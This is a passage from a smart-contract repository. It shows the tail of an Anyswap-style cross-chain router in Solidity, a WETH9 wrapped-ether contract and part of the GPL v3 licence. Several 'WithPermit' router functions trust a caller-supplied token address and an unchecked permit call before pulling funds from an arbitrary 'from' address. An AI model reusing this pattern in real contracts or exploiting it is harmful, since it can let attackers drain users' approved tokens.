401 | ) external virtual ensure(deadline) {
402 | address _underlying = AnyswapV1ERC20(path[0]).underlying();
403 | IERC20(_underlying).permit(from, address(this), amountIn, deadline, v, r, s);
404 | TransferHelper.safeTransferFrom(_underlying, from, path[0], amountIn);
405 | AnyswapV1ERC20(path[0]).depositVault(amountIn, from);
406 | AnyswapV1ERC20(path[0]).burn(from, amountIn);
407 | {
408 | address[] memory _path = path;
409 | address _from = from;
410 | address _to = to;
411 | uint _amountIn = amountIn;
412 | uint _amountOutMin = amountOutMin;
413 | uint _cID = cID();
414 | uint _toChainID = toChainID;
415 | emit LogAnySwapTradeTokensForTokens(_path, _from, _to, _amountIn, _amountOutMin, _cID, _toChainID);
416 | }
417 | }
418 |
419 | // sets up a cross-chain trade from this chain to `toChainID` for `path` trades to `to`
420 | function anySwapOutExactTokensForTokensUnderlyingWithTransferPermit(
421 | address from,
422 | uint amountIn,
423 | uint amountOutMin,
424 | address[] calldata path,
425 | address to,
426 | uint deadline,
427 | uint8 v,
428 | bytes32 r,
429 | bytes32 s,
430 | uint toChainID
431 | ) external virtual ensure(deadline) {
432 | IERC20(AnyswapV1ERC20(path[0]).underlying()).transferWithPermit(from, path[0], amountIn, deadline, v, r, s);
433 | AnyswapV1ERC20(path[0]).depositVault(amountIn, from);
434 | AnyswapV1ERC20(path[0]).burn(from, amountIn);
435 | emit LogAnySwapTradeTokensForTokens(path, from, to, amountIn, amountOutMin, cID(), toChainID);
436 | }
437 |
438 | // Swaps `amounts[path.length-1]` `path[path.length-1]` to `to` on this chain
439 | // Triggered by `anySwapOutExactTokensForTokens`
440 | function anySwapInExactTokensForTokens(
441 | bytes32 txs,
442 | uint amountIn,
443 | uint amountOutMin,
444 | address[] calldata path,
445 | address to,
446 | uint deadline,
447 | uint fromChainID
448 | ) external onlyMPC virtual ensure(deadline) returns (uint[] memory amounts) {
449 | amounts = SushiswapV2Library.getAmountsOut(factory, amountIn, path);
450 | require(amounts[amounts.length - 1] >= amountOutMin, 'SushiswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
451 | _anySwapIn(txs, path[0], SushiswapV2Library.pairFor(factory, path[0], path[1]), amounts[0], fromChainID);
452 | _swap(amounts, path, to);
453 | }
454 |
455 | // sets up a cross-chain trade from this chain to `toChainID` for `path` trades to `to`
456 | function anySwapOutExactTokensForNative(
457 | uint amountIn,
458 | uint amountOutMin,
459 | address[] calldata path,
460 | address to,
461 | uint deadline,
462 | uint toChainID
463 | ) external virtual ensure(deadline) {
464 | AnyswapV1ERC20(path[0]).burn(msg.sender, amountIn);
465 | emit LogAnySwapTradeTokensForNative(path, msg.sender, to, amountIn, amountOutMin, cID(), toChainID);
466 | }
467 |
468 | // sets up a cross-chain trade from this chain to `toChainID` for `path` trades to `to`
469 | function anySwapOutExactTokensForNativeUnderlying(
470 | uint amountIn,
471 | uint amountOutMin,
472 | address[] calldata path,
473 | address to,
474 | uint deadline,
475 | uint toChainID
476 | ) external virtual ensure(deadline) {
477 | TransferHelper.safeTransferFrom(AnyswapV1ERC20(path[0]).underlying(), msg.sender, path[0], amountIn);
478 | AnyswapV1ERC20(path[0]).depositVault(amountIn, msg.sender);
479 | AnyswapV1ERC20(path[0]).burn(msg.sender, amountIn);
480 | emit LogAnySwapTradeTokensForNative(path, msg.sender, to, amountIn, amountOutMin, cID(), toChainID);
481 | }
482 |
483 | // sets up a cross-chain trade from this chain to `toChainID` for `path` trades to `to`
484 | function anySwapOutExactTokensForNativeUnderlyingWithPermit(
485 | address from,
486 | uint amountIn,
487 | uint amountOutMin,
488 | address[] calldata path,
489 | address to,
490 | uint deadline,
491 | uint8 v,
492 | bytes32 r,
493 | bytes32 s,
494 | uint toChainID
495 | ) external virtual ensure(deadline) {
496 | address _underlying = AnyswapV1ERC20(path[0]).underlying();
497 | IERC20(_underlying).permit(from, address(this), amountIn, deadline, v, r, s);
498 | TransferHelper.safeTransferFrom(_underlying, from, path[0], amountIn);
499 | AnyswapV1ERC20(path[0]).depositVault(amountIn, from);
500 | AnyswapV1ERC20(path[0]).burn(from, amountIn);
501 | {
502 | address[] memory _path = path;
503 | address _from = from;
504 | address _to = to;
505 | uint _amountIn = amountIn;
506 | uint _amountOutMin = amountOutMin;
507 | uint _cID = cID();
508 | uint _toChainID = toChainID;
509 | emit LogAnySwapTradeTokensForNative(_path, _from, _to, _amountIn, _amountOutMin, _cID, _toChainID);
510 | }
511 | }
512 |
513 | // sets up a cross-chain trade from this chain to `toChainID` for `path` trades to `to`
514 | function anySwapOutExactTokensForNativeUnderlyingWithTransferPermit(
515 | address from,
516 | uint amountIn,
517 | uint amountOutMin,
518 | address[] calldata path,
519 | address to,
520 | uint deadline,
521 | uint8 v,
522 | bytes32 r,
523 | bytes32 s,
524 | uint toChainID
525 | ) external virtual ensure(deadline) {
526 | IERC20(AnyswapV1ERC20(path[0]).underlying()).transferWithPermit(from, path[0], amountIn, deadline, v, r, s);
527 | AnyswapV1ERC20(path[0]).depositVault(amountIn, from);
528 | AnyswapV1ERC20(path[0]).burn(from, amountIn);
529 | emit LogAnySwapTradeTokensForNative(path, from, to, amountIn, amountOutMin, cID(), toChainID);
530 | }
531 |
532 | // Swaps `amounts[path.length-1]` `path[path.length-1]` to `to` on this chain
533 | // Triggered by `anySwapOutExactTokensForNative`
534 | function anySwapInExactTokensForNative(
535 | bytes32 txs,
536 | uint amountIn,
537 | uint amountOutMin,
538 | address[] calldata path,
539 | address to,
540 | uint deadline,
541 | uint fromChainID
542 | ) external onlyMPC virtual ensure(deadline) returns (uint[] memory amounts) {
543 | require(path[path.length - 1] == wNATIVE, 'AnyswapV3Router: INVALID_PATH');
544 | amounts = SushiswapV2Library.getAmountsOut(factory, amountIn, path);
545 | require(amounts[amounts.length - 1] >= amountOutMin, 'AnyswapV3Router: INSUFFICIENT_OUTPUT_AMOUNT');
546 | _anySwapIn(txs, path[0], SushiswapV2Library.pairFor(factory, path[0], path[1]), amounts[0], fromChainID);
547 | _swap(amounts, path, address(this));
548 | IwNATIVE(wNATIVE).withdraw(amounts[amounts.length - 1]);
549 | TransferHelper.safeTransferNative(to, amounts[amounts.length - 1]);
550 | }
551 |
552 | // **** LIBRARY FUNCTIONS ****
553 | function quote(uint amountA, uint reserveA, uint reserveB) public pure virtual returns (uint amountB) {
554 | return SushiswapV2Library.quote(amountA, reserveA, reserveB);
555 | }
556 |
557 | function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut)
558 | public
559 | pure
560 | virtual
561 | returns (uint amountOut)
562 | {
563 | return SushiswapV2Library.getAmountOut(amountIn, reserveIn, reserveOut);
564 | }
565 |
566 | function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut)
567 | public
568 | pure
569 | virtual
570 | returns (uint amountIn)
571 | {
572 | return SushiswapV2Library.getAmountIn(amountOut, reserveIn, reserveOut);
573 | }
574 |
575 | function getAmountsOut(uint amountIn, address[] memory path)
576 | public
577 | view
578 | virtual
579 | returns (uint[] memory amounts)
580 | {
581 | return SushiswapV2Library.getAmountsOut(factory, amountIn, path);
582 | }
583 |
584 | function getAmountsIn(uint amountOut, address[] memory path)
585 | public
586 | view
587 | virtual
588 | returns (uint[] memory amounts)
589 | {
590 | return SushiswapV2Library.getAmountsIn(factory, amountOut, path);
591 | }
592 | }
--------------------------------------------------------------------------------
/WETH9.sol:
--------------------------------------------------------------------------------
1 | // Copyright (C) 2015, 2016, 2017 Dapphub
2 |
3 | // This program is free software: you can redistribute it and/or modify
4 | // it under the terms of the GNU General Public License as published by
5 | // the Free Software Foundation, either version 3 of the License, or
6 | // (at your option) any later version.
7 |
8 | // This program is distributed in the hope that it will be useful,
9 | // but WITHOUT ANY WARRANTY; without even the implied warranty of
10 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
11 | // GNU General Public License for more details.
12 |
13 | // You should have received a copy of the GNU General Public License
14 | // along with this program. If not, see .
15 |
16 | pragma solidity >=0.4.22 <=0.6.12;
17 |
18 | contract WETH9 {
19 | string public name = 'Wrapped Ether';
20 | string public symbol = 'WETH';
21 | uint8 public decimals = 18;
22 |
23 | event Approval(address indexed src, address indexed guy, uint256 wad);
24 | event Transfer(address indexed src, address indexed dst, uint256 wad);
25 | event Deposit(address indexed dst, uint256 wad);
26 | event Withdrawal(address indexed src, uint256 wad);
27 |
28 | mapping(address => uint256) public balanceOf;
29 | mapping(address => mapping(address => uint256)) public allowance;
30 |
31 | receive() external payable {
32 | deposit();
33 | }
34 |
35 | function deposit() public payable {
36 | balanceOf[msg.sender] += msg.value;
37 | emit Deposit(msg.sender, msg.value);
38 | }
39 |
40 | function withdraw(uint256 wad) public {
41 | require(balanceOf[msg.sender] >= wad);
42 | balanceOf[msg.sender] -= wad;
43 | msg.sender.transfer(wad);
44 | emit Withdrawal(msg.sender, wad);
45 | }
46 |
47 | function totalSupply() public view returns (uint256) {
48 | return address(this).balance;
49 | }
50 |
51 | function approve(address guy, uint256 wad) public returns (bool) {
52 | allowance[msg.sender][guy] = wad;
53 | emit Approval(msg.sender, guy, wad);
54 | return true;
55 | }
56 |
57 | function transfer(address dst, uint256 wad) public returns (bool) {
58 | return transferFrom(msg.sender, dst, wad);
59 | }
60 |
61 | function transferFrom(
62 | address src,
63 | address dst,
64 | uint256 wad
65 | ) public returns (bool) {
66 | require(balanceOf[src] >= wad);
67 |
68 | if (src != msg.sender && allowance[src][msg.sender] != uint256(-1)) {
69 | require(allowance[src][msg.sender] >= wad);
70 | allowance[src][msg.sender] -= wad;
71 | }
72 |
73 | balanceOf[src] -= wad;
74 | balanceOf[dst] += wad;
75 |
76 | emit Transfer(src, dst, wad);
77 |
78 | return true;
79 | }
80 | }
81 |
82 | /*
83 | GNU GENERAL PUBLIC LICENSE
84 | Version 3, 29 June 2007
85 |
86 | Copyright (C) 2007 Free Software Foundation, Inc.
87 | Everyone is permitted to copy and distribute verbatim copies
88 | of this license document, but changing it is not allowed.
89 |
90 | Preamble
91 |
92 | The GNU General Public License is a free, copyleft license for
93 | software and other kinds of works.
94 |
95 | The licenses for most software and other practical works are designed
96 | to take away your freedom to share and change the works. By contrast,
97 | the GNU General Public License is intended to guarantee your freedom to
98 | share and change all versions of a program--to make sure it remains free
99 | software for all its users. We, the Free Software Foundation, use the
100 | GNU General Public License for most of our software; it applies also to
101 | any other work released this way by its authors. You can apply it to
102 | your programs, too.
103 |
104 | When we speak of free software, we are referring to freedom, not
105 | price. Our General Public Licenses are designed to make sure that you
106 | have the freedom to distribute copies of free software (and charge for
107 | them if you wish), that you receive source code or can get it if you
108 | want it, that you can change the software or use pieces of it in new
109 | free programs, and that you know you can do these things.
110 |
111 | To protect your rights, we need to prevent others from denying you
112 | these rights or asking you to surrender the rights. Therefore, you have
113 | certain responsibilities if you distribute copies of the software, or if
114 | you modify it: responsibilities to respect the freedom of others.
115 |
116 | For example, if you distribute copies of such a program, whether
117 | gratis or for a fee, you must pass on to the recipients the same
118 | freedoms that you received. You must make sure that they, too, receive
119 | or can get the source code. And you must show them these terms so they
120 | know their rights.
121 |
122 | Developers that use the GNU GPL protect your rights with two steps:
123 | (1) assert copyright on the software, and (2) offer you this License
124 | giving you legal permission to copy, distribute and/or modify it.
125 |
126 | For the developers' and authors' protection, the GPL clearly explains
127 | that there is no warranty for this free software. For both users' and
128 | authors' sake, the GPL requires that modified versions be marked as
129 | changed, so that their problems will not be attributed erroneously to
130 | authors of previous versions.
131 |
132 | Some devices are designed to deny users access to install or run
133 | modified versions of the software inside them, although the manufacturer
134 | can do so. This is fundamentally incompatible with the aim of
135 | protecting users' freedom to change the software. The systematic
136 | pattern of such abuse occurs in the area of products for individuals to
137 | use, which is precisely where it is most unacceptable. Therefore, we
138 | have designed this version of the GPL to prohibit the practice for those
139 | products. If such problems arise substantially in other domains, we
140 | stand ready to extend this provision to those domains in future versions
141 | of the GPL, as needed to protect the freedom of users.
142 |
143 | Finally, every program is threatened constantly by software patents.
144 | States should not allow patents to restrict development and use of
145 | software on general-purpose computers, but in those that do, we wish to
146 | avoid the special danger that patents applied to a free program could
147 | make it effectively proprietary. To prevent this, the GPL assures that
148 | patents cannot be used to render the program non-free.
149 |
150 | The precise terms and conditions for copying, distribution and
151 | modification follow.
152 |
153 | TERMS AND CONDITIONS
154 |
155 | 0. Definitions.
156 |
157 | "This License" refers to version 3 of the GNU General Public License.
158 |
159 | "Copyright" also means copyright-like laws that apply to other kinds of
160 | works, such as semiconductor masks.
161 |
162 | "The Program" refers to any copyrightable work licensed under this
163 | License. Each licensee is addressed as "you". "Licensees" and
164 | "recipients" may be individuals or organizations.
165 |
166 | To "modify" a work means to copy from or adapt all or part of the work
167 | in a fashion requiring copyright permission, other than the making of an
168 | exact copy. The resulting work is called a "modified version" of the
169 | earlier work or a work "based on" the earlier work.
170 |
171 | A "covered work" means either the unmodified Program or a work based
172 | on the Program.
173 |
174 | To "propagate" a work means to do anything with it that, without
175 | permission, would make you directly or secondarily liable for
176 | infringement under applicable copyright law, except executing it on a
177 | computer or modifying a private copy. Propagation includes copying,
178 | distribution (with or without modification), making available to the
179 | public, and in some countries other activities as well.
180 |
181 | To "convey" a work means any kind of propagation that enables other
182 | parties to make or receive copies. Mere interaction with a user through
183 | a computer network, with no transfer of a copy, is not conveying.
184 |
185 | An interactive user interface displays "Appropriate Legal Notices"
186 | to the extent that it includes a convenient and prominently visible
187 | feature that (1) displays an appropriate copyright notice, and (2)
188 | tells the user that there is no warranty for the work (except to the
189 | extent that warranties are provided), that licensees may convey the
190 | work under this License, and how to view a copy of this License. If
191 | the interface presents a list of user commands or options, such as a
192 | menu, a prominent item in the list meets this criterion.
193 |
194 | 1. Source Code.
195 |
196 | The "source code" for a work means the preferred form of the work
197 | for making modifications to it. "Object code" means any non-source
198 | form of a work.
199 |
200 | A "Standard Interface" means an interface that either is an official
201 | standard defined by a recognized standards body, or, in the case of
202 | interfaces specified for a particular programming language, one that
203 | is widely used among developers working in that language.
204 |
205 | The "System Libraries" of an executable work include anything, other
206 | than the work as a whole, that (a) is included in the normal form of
207 | packaging a Major Component, but which is not part of that Major
208 | Component, and (b) serves only to enable use of the work with that
209 | Major Component, or to implement a Standard Interface for which an
210 | implementation is available to the public in source code form. A
211 | "Major Component", in this context, means a major essential component
212 | (kernel, window system, and so on) of the specific operating system
213 | (if any) on which the executable work runs, or a compiler used to
214 | produce the work, or an object code interpreter used to run it.
215 |
216 | The "Corresponding Source" for a work in object code form means all
217 | the source code needed to generate, install, and (for an executable
218 | work) run the object code and to modify the work, including scripts to
219 | control those activities. However, it does not include the work's
220 | System Libraries, or general-purpose tools or generally available free
221 | programs which are used unmodified in performing those activities but
222 | which are not part of the work. For example, Corresponding Source
223 | includes interface definition files associated with source files for
224 | the work, and the source code for shared libraries and dynamically
225 | linked subprograms that the work is specifically designed to require,
226 | such as by intimate data communication or control flow between those
227 | subprograms and other parts of the work.
228 |
229 | The Corresponding Source need not include anything that users
230 | can regenerate automatically from other parts of the Corresponding
231 | Source.
232 |
233 | The Corresponding Source for a work in source code form is that
234 | same work.
235 |
236 | 2. Basic Permissions.
237 |
238 | All rights granted under this License are granted for the term of
239 | copyright on the Program, and are irrevocable provided the stated
240 | conditions are met. This License explicitly affirms your unlimited
241 | permission to run the unmodified Program. The output from running a
242 | covered work is covered by this License only if the output, given its
243 | content, constitutes a covered work. This License acknowledges your
244 | rights of fair use or other equivalent, as provided by copyright law.
245 |
246 | You may make, run and propagate covered works that you do not
247 | convey, without conditions so long as your license otherwise remains
248 | in force. You may convey covered works to others for the sole purpose
249 | of having them make modifications exclusively for you, or provide you
250 | with facilities for running those works, provided that you comply with
251 | the terms of this License in conveying all material for which you do
252 | not control copyright. Those thus making or running the covered works
253 | for you must do so exclusively on your behalf, under your direction
254 | and control, on terms that prohibit them from making any copies of
255 | your copyrighted material outside their relationship with you.
256 |
257 | Conveying under any other circumstances is permitted solely under
258 | the conditions stated below. Sublicensing is not allowed; section 10
259 | makes it unnecessary.
260 |
261 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
262 |
263 | No covered work shall be deemed part of an effective technological
264 | measure under any applicable law fulfilling obligations under article
265 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
266 | similar laws prohibiting or restricting circumvention of such
267 | measures.
268 |
269 | When you convey a covered work, you waive any legal power to forbid
270 | circumvention of technological measures to the extent such circumvention
271 | is effected by exercising rights under this License with respect to
272 | the covered work, and you disclaim any intention to limit operation or
273 | modification of the work as a means of enforcing, against the work's
274 | users, your or third parties' legal rights to forbid circumvention of
275 | technological measures.
276 |
277 | 4. Conveying Verbatim Copies.
278 |
279 | You may convey verbatim copies of the Program's source code as you
280 | receive it, in any medium, provided that you conspicuously and
281 | appropriately publish on each copy an appropriate copyright notice;
282 | keep intact all notices stating that this License and any
283 | non-permissive terms added in accord with section 7 apply to the code;
284 | keep intact all notices of the absence of any warranty; and give all
285 | recipients a copy of this License along with the Program.
286 |
287 | You may charge any price or no price for each copy that you convey,
288 | and you may offer support or warranty protection for a fee.
289 |
290 | 5. Conveying Modified Source Versions.
291 |
292 | You may convey a work based on the Program, or the modifications to
293 | produce it from the Program, in the form of source code under the
294 | terms of section 4, provided that you also meet all of these conditions:
295 |
296 | a) The work must carry prominent notices stating that you modified
297 | it, and giving a relevant date.
298 |
299 | b) The work must carry prominent notices stating that it is
300 | released under this License and any conditions added under section
301 | 7. This requirement modifies the requirement in section 4 to
302 | "keep intact all notices".
303 |
304 | c) You must license the entire work, as a whole, under this
305 | License to anyone who comes into possession of a copy. This
306 | License will therefore apply, along with any applicable section 7
307 | additional terms, to the whole of the work, and all its parts,
308 | regardless of how they are packaged. This License gives no
309 | permission to license the work in any other way, but it does not
310 | invalidate such permission if you have separately received it.
311 |
312 | d) If the work has interactive user interfaces, each must display
313 | Appropriate Legal Notices; however, if the Program has interactive
314 | interfaces that do not display Appropriate Legal Notices, your
315 | work need not make them do so.
316 |
317 | A compilation of a covered work with other separate and independent
318 | works, which are not by their nature extensions of the covered work,
319 | and which are not combined with it such as to form a larger program,
320 | in or on a volume of a storage or distribution medium, is called an
321 | "aggregate" if the compilation and its resulting copyright are not
322 | used to limit the access or legal rights of the compilation's users
323 | beyond what the individual works permit. Inclusion of a covered work
324 | in an aggregate does not cause this License to apply to the other
325 | parts of the aggregate.
326 |
327 | 6. Conveying Non-Source Forms.
328 |
329 | You may convey a covered work in object code form under the terms
330 | of sections 4 and 5, provided that you also convey the
331 | machine-readable Corresponding Source under the terms of this License,
332 | in one of these ways:
333 |
334 | a) Convey the object code in, or embodied in, a physical product
335 | (including a physical distribution medium), accompanied by the
336 | Corresponding Source fixed on a durable physical medium
337 | customarily used for software interchange.
338 |
339 | b) Convey the object code in, or embodied in, a physical product
340 | (including a physical distribution medium), accompanied by a
341 | written offer, valid for at least three years and valid for as
342 | long as you offer spare parts or customer support for that product
343 | model, to give anyone who possesses the object code either (1) a
344 | copy of the Corresponding Source for all the software in the
345 | product that is covered by this License, on a durable physical
346 | medium customarily used for software interchange, for a price no
347 | more than your reasonable cost of physically performing this
348 | conveying of source, or (2) access to copy the
349 | Corresponding Source from a network server at no charge.
350 |
351 | c) Convey individual copies of the object code with a copy of the
352 | written offer to provide the Corresponding Source. This
353 | alternative is allowed only occasionally and noncommercially, and
354 | only if you received the object code with such an offer, in accord
355 | with subsection 6b.
356 |
357 | d) Convey the object code by offering access from a designated
358 | place (gratis or for a charge), and offer equivalent access to the
359 | Corresponding Source in the same way through the same place at no
360 | further charge. You need not require recipients to copy the
361 | Corresponding Source along with the object code. If the place to
362 | copy the object code is a network server, the Corresponding Source
363 | may be on a different server (operated by you or a third party)
364 | that supports equivalent copying facilities, provided you maintain
365 | clear directions next to the object code saying where to find the
366 | Corresponding Source. Regardless of what server hosts the
367 | Corresponding Source, you remain obligated to ensure that it is
368 | available for as long as needed to satisfy these requirements.
369 |
370 | e) Convey the object code using peer-to-peer transmission, provided
371 | you inform other peers where the object code and Corresponding
372 | Source of the work are being offered to the general public at no
373 | charge under subsection 6d.
374 |
375 | A separable portion of the object code, whose source code is excluded
376 | from the Corresponding Source as a System Library, need not be
377 | included in conveying the object code work.
378 |
379 | A "User Product" is either (1) a "consumer product", which means any
380 | tangible personal property which is normally used for personal, family,
381 | or household purposes, or (2) anything designed or sold for incorporation
382 | into a dwelling. In determining whether a product is a consumer product,
383 | doubtful cases shall be resolved in favor of coverage. For a particular
384 | product received by a particular user, "normally used" refers to a
385 | typical or common use of that class of product, regardless of the status
386 | of the particular user or of the way in which the particular user
387 | actually uses, or expects or is expected to use, the product. A product
388 | is a consumer product regardless of whether the product has substantial
389 | commercial, industrial or non-consumer uses, unless such uses represent
390 | the only significant mode of use of the product.
391 |
392 | "Installation Information" for a User Product means any methods,
393 | procedures, authorization keys, or other information required to install
394 | and execute modified versions of a covered work in that User Product from
395 | a modified version of its Corresponding Source. The information must
396 | suffice to ensure that the continued functioning of the modified object
397 | code is in no case prevented or interfered with solely because
398 | modification has been made.
399 |
400 | If you convey an object code work under this section in, or with, or
401 | specifically for use in, a User Product, and the conveying occurs as
402 | part of a transaction in which the right of possession and use of the
403 | User Product is transferred to the recipient in perpetuity or for a
404 | fixed term (regardless of how the transaction is characterized), the
405 | Corresponding Source conveyed under this section must be accompanied
406 | by the Installation Information. But this requirement does not apply
407 | if neither you nor any third party retains the ability to install
408 | modified object code on the User Product (for example, the work has
409 | been installed in ROM).
410 |
411 | The requirement to provide Installation Information does not include a
412 | requirement to continue to provide support service, warranty, or updates
413 | for a work that has been modified or installed by the recipient, or for
414 | the User Product in which it has been modified or installed. Access to a
415 | network may be denied when the modification itself materially and
416 | adversely affects the operation of the network or violates the rules and
417 | protocols for communication across the network.
418 |
419 | Corresponding Source conveyed, and Installation Information provided,
420 | in accord with this section must be in a format that is publicly
421 | documented (and with an implementation available to the public in
422 | source code form), and must require no special password or key for
423 | unpacking, reading or copying.
424 |
425 | 7. Additional Terms.
426 |
427 | "Additional permissions" are terms that supplement the terms of this
428 | License by making exceptions from one or more of its conditions.
429 | Additional permissions that are applicable to the entire Program shall
430 | be treated as though they were included in this License, to the extent
431 | that they are valid under applicable law. If additional permissions
432 | apply only to part of the Program, that part may be used separately
433 | under those permissions, but the entire Program remains governed by
434 | this License without regard to the additional permissions.
435 |
436 | When you convey a copy of a covered work, you may at your option
437 | remove any additional permissions from that copy, or from any part of
438 | it. (Additional permissions may be written to require their own
439 | removal in certain cases when you modify the work.) You may place
440 | additional permissions on material, added by you to a covered work,
441 | for which you have or can give appropriate copyright permission.
442 |
443 | Notwithstanding any other provision of this License, for material you
444 | add to a covered work, you may (if authorized by the copyright holders of
445 | that material) supplement the terms of this License with terms:
446 |
447 | a) Disclaiming warranty or limiting liability differently from the
448 | terms of sections 15 and 16 of this License; or
449 |
450 | b) Requiring preservation of specified reasonable legal notices or
451 | author attributions in that material or in the Appropriate Legal
452 | Notices displayed by works containing it; or
453 |
454 | c) Prohibiting misrepresentation of the origin of that material, or
455 | requiring that modified versions of such material be marked in
456 | reasonable ways as different from the original version; or
457 |
458 | d) Limiting the use for publicity purposes of names of licensors or
459 | authors of the material; or
460 |
461 | e) Declining to grant rights under trademark law for use of some
462 | trade names, trademarks, or service marks; or
463 |
464 | f) Requiring indemnification of licensors and authors of that
465 | material by anyone who conveys the material (or modified versions of
466 | it) with contractual assumptions of liability to the recipient, for
467 | any liability that these contractual assumptions directly impose on
468 | those licensors and authors.
469 |
470 | All other non-permissive additional terms are considered "further
471 | restrictions" within the meaning of section 10. If the Program as you
472 | received it, or any part of it, contains a notice stating that it is
473 | governed by this License along with a term that is a further
474 | restriction, you may remove that term. If a license document contains
475 | a further restriction but permits relicensing or conveying under this
476 | License, you may add to a covered work material governed by the terms
477 | of that license document, provided that the further restriction does
478 | not survive such relicensing or conveying.
479 |
480 | If you add terms to a covered work in accord with this section, you
481 | must place, in the relevant source files, a statement of the
482 | additional terms that apply to those files, or a notice indicating
483 | where to find the applicable terms.
484 |
485 | Additional terms, permissive or non-permissive, may be stated in the
486 | form of a separately written license, or stated as exceptions;
487 | the above requirements apply either way.
488 |
489 | 8. Termination.
490 |
491 | You may not propagate or modify a covered work except as expressly
492 | provided under this License. Any attempt otherwise to propagate or
493 | modify it is void, and will automatically terminate your rights under
494 | this License (including any patent licenses granted under the third
495 | paragraph of section 11).
496 |
497 | However, if you cease all violation of this License, then your
498 | license from a particular copyright holder is reinstated (a)
499 | provisionally, unless and until the copyright holder explicitly and
500 | finally terminates your license, and (b) permanently, if the copyright
501 | holder fails to notify you of the violation by some reasonable means
502 | prior to 60 days after the cessation.
503 |
504 | Moreover, your license from a particular copyright holder is
505 | reinstated permanently if the copyright holder notifies you of the
506 | violation by some reasonable means, this is the first time you have
507 | received notice of violation of this License (for any work) from that
508 | copyright holder, and you cure the violation prior to 30 days after
509 | your receipt of the notice.
510 |
511 | Termination of your rights under this section does not terminate the
512 | licenses of parties who have received copies or rights from you under
513 | this License. If your rights have been terminated and not permanently
514 | reinstated, you do not qualify to receive new licenses for the same
515 | material under section 10.
516 |
517 | 9. Acceptance Not Required for Having Copies.
518 |
519 | You are not required to accept this License in order to receive or
520 | run a copy of the Program. Ancillary propagation of a covered work
521 | occurring solely as a consequence of using peer-to-peer transmission
522 | to receive a copy likewise does not require acceptance. However,
523 | nothing other than this License grants you permission to propagate or
524 | modify any covered work. These actions infringe copyright if you do
525 | not accept this License. Therefore, by modifying or propagating a
526 | covered work, you indicate your acceptance of this License to do so.
527 |
528 | 10. Automatic Licensing of Downstream Recipients.
529 |
530 | Each time you convey a covered work, the recipient automatically
531 | receives a license from the original licensors, to run, modify and
532 | propagate that work, subject to this License. You are not responsible
533 | for enforcing compliance by third parties with this License.
534 |
535 | An "entity transaction" is a transaction transferring control of an
536 | organization, or substantially all assets of one, or subdividing an
537 | organization, or merging organizations. If propagation of a covered
538 | work results from an entity transaction, each party to that
539 | transaction who receives a copy of the work also receives whatever
540 | licenses to the work the party's predecessor in interest had or could
541 | give under the previous paragraph, plus a right to possession of the
542 | Corresponding Source of the work from the predecessor in interest, if
543 | the predecessor has it or can get it with reasonable efforts.
544 |
545 | You may not impose any further restrictions on the exercise of the
546 | rights granted or affirmed under this License. For example, you may
547 | not impose a license fee, royalty, or other charge for exercise of
548 | rights granted under this License, and you may not initiate litigation
549 | (including a cross-claim or counterclaim in a lawsuit) alleging that
550 | any patent claim is infringed by making, using, selling, offering for
551 | sale, or importing the Program or any portion of it.
552 |
553 | 11. Patents.
554 |
555 | A "contributor" is a copyright holder who authorizes use under this
556 | License of the Program or a work on which the Program is based. The
557 | work thus licensed is called the contributor's "contributor version".
558 |
559 | A contributor's "essential patent claims" are all patent claims
560 | owned or controlled by the contributor, whether already acquired or
561 | hereafter acquired, that would be infringed by some manner, permitted
562 | by this License, of making, using, or selling its contributor version,
563 | but do not include claims that would be infringed only as a
564 | consequence of further modification of the contributor version. For
565 | purposes of this definition, "control" includes the right to grant
566 | patent sublicenses in a manner consistent with the requirements of
567 | this License.
568 |
569 | Each contributor grants you a non-exclusive, worldwide, royalty-free
570 | patent license under the contributor's essential patent claims, to
571 | make, use, sell, offer for sale, import and otherwise run, modify and
572 | propagate the contents of its contributor version.
573 |
574 | In the following three paragraphs, a "patent license" is any express
575 | agreement or commitment, however denominated, not to enforce a patent
576 | (such as an express permission to practice a patent or covenant not to
577 | sue for patent infringement). To "grant" such a patent license to a
578 | party means to make such an agreement or commitment not to enforce a
579 | patent against the party.
580 |
581 | If you convey a covered work, knowingly relying on a patent license,
582 | and the Corresponding Source of the work is not available for anyone
583 | to copy, free of charge and under the terms of this License, through a
584 | publicly available network server or other readily accessible means,
585 | then you must either (1) cause the Corresponding Source to be so
586 | available, or (2) arrange to deprive yourself of the benefit of the
587 | patent license for this particular work, or (3) arrange, in a manner
588 | consistent with the requirements of this License, to extend the patent
589 | license to downstream recipients. "Knowingly relying" means you have
590 | actual knowledge that, but for the patent license, your conveying the
591 | covered work in a country, or your recipient's use of the covered work
592 | in a country, would infringe one or more identifiable patents in that
593 | country that you have reason to believe are valid.
594 |
595 | If, pursuant to or in connection with a single transaction or
596 | arrangement, you convey, or propagate by procuring conveyance of, a
597 | covered work, and grant a patent license to some of the parties
598 | receiving the covered work authorizing them to use, propagate, modify
599 | or convey a specific copy of the covered work, then the patent license
600 | you grant is automatically extended to all recipients of the covered
601 | work and works based on it.
602 |
603 | A patent license is "discriminatory" if it does not include within
604 | the scope of its coverage, prohibits the exercise of, or is
605 | conditioned on the non-exercise of one or more of the rights that are
606 | specifically granted under this License. You may not convey a covered
607 | work if you are a party to an arrangement with a third party that is
608 | in the business of distributing software, under which you make payment
609 | to the third party based on the extent of your activity of conveying
610 | the work, and under which the third party grants, to any of the
611 | parties who would receive the covered work from you, a discriminatory
612 | patent license (a) in connection with copies of the covered work
613 | conveyed by you (or copies made from those copies), or (b) primarily
614 | for and in connection with specific products or compilations that
615 | contain the covered work, unless you entered into that arrangement,
616 | or that patent license was granted, prior to 28 March 2007.
617 |
618 | Nothing in this License shall be construed as excluding or limiting
619 | any implied license or other defenses to infringement that may
620 | otherwise be available to you under applicable patent law.
621 |
622 | 12. No Surrender of Others' Freedom.
623 |
624 | If conditions are imposed on you (whether by court order, agreement or
625 | otherwise) that contradict the conditions of this License, they do not
626 | excuse you from the conditions of this License. If you cannot convey a
627 | covered work so as to satisfy simultaneously your obligations under this
628 | License and any other pertinent obligations, then as a consequence you may
629 | not convey it at all. For example, if you agree to terms that obligate you
630 | to collect a royalty for further conveying from those to whom you convey
631 | the Program, the only way you could satisfy both those terms and this
632 | License would be to refrain entirely from conveying the Program.
633 |
634 | 13. Use with the GNU Affero General Public License.
635 |
636 | Notwithstanding any other provision of this License, you have
